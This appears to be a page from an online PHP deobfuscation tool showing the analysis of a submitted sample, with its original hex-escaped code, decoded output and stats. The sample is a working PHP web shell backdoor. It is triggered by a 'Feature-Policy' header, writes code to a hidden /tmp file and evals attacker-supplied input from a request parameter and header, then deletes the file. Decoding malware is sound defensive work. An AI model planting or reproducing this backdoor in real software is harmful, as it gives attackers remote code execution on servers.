Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<\x3fp\x68p\x..

Decoded Output download

<?php $_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<?php @eval($_REQUEST[\"Sec-Websocket-Accept"]);@eval($_HEADERS["Sec-Websocket-Accept\"]);";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} ?>

Did this file decode correctly?

Original Code

<?php $_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x53e\x63-\x57e\x62s\x6fc\x6be\x74-\x41c\x63e\x70t\x22]\x29;\x40e\x76a\x6c(\x24_\x48E\x41D\x45R\x53[\x22S\x65c\x2dW\x65b\x73o\x63k\x65t\x2dA\x63c\x65p\x74\"\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 7d978d9a6b1bce9486062633a7194b1f
Eval Count 0
Decode Time 46 ms